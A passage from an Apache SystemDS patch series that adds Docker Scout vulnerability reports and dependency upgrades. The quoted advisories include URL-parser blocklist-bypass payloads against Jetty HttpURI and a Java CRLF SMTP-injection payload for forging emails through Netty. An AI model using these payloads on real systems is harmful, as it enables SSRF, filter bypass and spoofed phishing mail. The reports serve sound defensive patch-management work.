is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index 0a262d261d9..5e793e2fcd0 100644 --- a/pom.xml +++ b/pom.xml @@ -40,6 +40,8 @@ 3.3.6 + + 3.4.2 4.8 3.25.5 3.5.0 @@ -1474,7 +1476,7 @@ org.apache.hadoop hadoop-common - ${hadoop.version} + ${hadoop-common.version} javax.servlet From 015a7169622d13895d32234c975498afd6f3cda4 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 23 Jan 2026 14:44:26 +0100 Subject: [PATCH 16/31] [MINOR][SYSTEMDS-3878] Fix additional critical-severity CVE in transitive dependencies This patch extends the security fixes for critical-severity CVE by adding version overrides in pom.xml for vulnerable transitive dependencies. org.apache.hadoop/hadoop-hdfs : upgraded to 3.4.2 which doesn't use io.netty/netty anymore related package: io.netty/netty@3.10.6.Final critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and other CVEs Imports for netty packages change from `org.jboss.netty.*` to `io.netty.*`. --- .../ionetty-netty/sysds_output16.md | 1410 +++++++++++++++++ docker/systemds-3878_summary-of-changes.md | 14 + pom.xml | 4 +- .../compress/colgroup/ColGroupDDC.java | 4 +- 4 files changed, 1430 insertions(+), 2 deletions(-) create mode 100644 docker/scout_results/ionetty-netty/sysds_output16.md diff --git a/docker/scout_results/ionetty-netty/sysds_output16.md b/docker/scout_results/ionetty-netty/sysds_output16.md new file mode 100644 index 00000000000..f5553c29a9b --- /dev/null +++ b/docker/scout_results/ionetty-netty/sysds_output16.md @@ -0,0 +1,1410 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 357 packages + ✓ Provenance obtained from attestation + ✗ Detected 22 vulnerable packages with a total of 35 vulnerabilities + ✓ Report written to docker/scout_results/ionetty-netty/sysds_output16.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:67f9add20cf4583d291156936d952341c3da57225bb9f2fbd22e8ae4c5b26f39
vulnerabilitiescritical: 0 high: 8 medium: 24 low: 7 unspecified: 1
platformlinux/amd64
size368 MB
packages357
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
